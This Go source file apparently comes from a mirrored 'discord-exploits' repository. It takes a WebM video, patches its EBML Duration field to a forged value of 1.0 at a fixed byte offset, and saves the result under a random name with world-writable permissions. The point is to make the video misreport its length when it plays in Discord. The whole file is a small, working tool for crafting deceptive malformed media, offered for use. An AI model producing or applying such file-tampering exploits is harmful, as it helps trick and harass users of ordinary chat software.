mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2024-12-23 06:05:40 +00:00
54 lines
986 B
Go
54 lines
986 B
Go
|
package exploits
|
||
|
|
||
|
import (
|
||
|
"bytes"
|
||
|
"fmt"
|
||
|
"io/ioutil"
|
||
|
"os"
|
||
|
"math/rand"
|
||
|
)
|
||
|
|
||
|
// RunExpandingVideoTask edits file
|
||
|
func RunExpandingVideoTask(fileName string) {
|
||
|
|
||
|
data, err := ioutil.ReadFile(fileName)
|
||
|
check(err)
|
||
|
index := bytes.Index(data, []byte("\x44\x89\x88"))
|
||
|
if index == -1{
|
||
|
fmt.Println("could not find the part of the file that needs to be modified, exiting")
|
||
|
return
|
||
|
}
|
||
|
|
||
|
data[index+3] = 63
|
||
|
data[index+4] = 240
|
||
|
data[index+5] = 0
|
||
|
data[index+6] = 0
|
||
|
data[index+7] = 0
|
||
|
data[index+8] = 0
|
||
|
data[index+9] = 0
|
||
|
data[index+10] = 0
|
||
|
|
||
|
name := CreateName("webm")
|
||
|
|
||
|
fmt.Println(name)
|
||
|
|
||
|
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
|
||
|
|
||
|
}
|
||
|
|
||
|
// CreateName generates a random file name
|
||
|
func CreateName(extension string) string {
|
||
|
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||
|
b := make([]byte, 6)
|
||
|
for i := range b {
|
||
|
b[i] = charset[rand.Intn(len(charset))]
|
||
|
}
|
||
|
return string(b)+"."+extension
|
||
|
}
|
||
|
|
||
|
func check(e error) {
|
||
|
if e != nil {
|
||
|
panic(e)
|
||
|
}
|
||
|
}
|